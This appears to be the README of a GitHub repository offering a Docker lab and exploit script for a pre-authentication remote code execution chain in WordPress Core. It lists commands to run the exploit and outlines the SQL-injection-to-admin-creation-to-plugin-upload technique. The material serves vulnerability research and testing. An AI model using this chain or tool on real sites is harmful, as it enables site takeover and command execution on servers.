Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

wp2shell — Pre-Auth RCE in WordPress Core

Docker lab + exploit for wp2shell (CVE-2026-63030 + CVE-2026-60137): a pre-authentication RCE in WordPress Core's REST API batch endpoint, affecting versions 6.9.0–6.9.4 and 7.0.0–7.0.1 (fixed in 6.9.5 and 7.0.2).

Warning: This repository contains a working RCE exploit. Use it only in the included local lab or on systems you own or are explicitly authorized to test.

Quick Start

git clone https://github.com/b1bek/wp2shell.git
cd wp2shell
docker compose -f docker/docker-compose.yml up -d --build
# Wait ~30s for WordPress to install

# Detect (safe, non-destructive)
python3 exploit/wp2shell.py detect -t http://localhost:8180   # VULNERABLE
python3 exploit/wp2shell.py detect -t http://localhost:8181   # NOT VULNERABLE

# Pre-auth RCE (no creds, ~10-15 min via blind SQLi)
python3 exploit/wp2shell.py exploit -t http://localhost:8180 -c 'id'

# Lab convenience: authenticated plugin upload + command execution (~2s)
python3 exploit/wp2shell.py exploit -t http://localhost:8180 -c 'whoami' -U admin -P lab-password-123

Or, from the repository root, run the automated demo:

./run-demo.sh

Requirements: Docker with Compose v2, Python 3, Bash, and curl.

Lab Architecture

Port Instance WP Version Status
8180 Vulnerable 7.0.1 Affected
8181 Patched 7.0.2 Fixed

Admin login (both): admin / lab-password-123

The Vulnerability Chain

Three bugs chain into pre-auth RCE:

  1. CVE-2026-63030$matches/$validation desync in serve_batch_request_v1(): a parse-failing sub-request skips $matches, shifting all subsequent dispatches to the wrong handler.
  2. Re-entrancy — no is_dispatching() guard, allowing nested batch dispatch without permission.
  3. CVE-2026-60137 — SQL injection in WP_Query::author__not_in: a string value bypasses absint() and is interpolated raw into SQL.

The RCE technique (from sergiointel/wp2shell-poc):

  • The blind SQLi uses UNION ALL SELECT to inject fake wp_posts rows into query results (with per_page=-1&orderby=none to remove trailing ORDER BY/LIMIT).
  • Fake oembed_cache posts trigger WordPress's oEmbed caching, creating real cache entries.
  • A fake customize_changeset post sets the current user to the admin ID, then POST /wp/v2/users in the same batch creates a new administrator.
  • Login as the new admin → upload a plugin with a passthru() REST route → RCE.

No admin credentials, no MySQL FILE privilege, no hash cracking needed.

See docs/vulnerability-analysis.md for the full technical breakdown.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages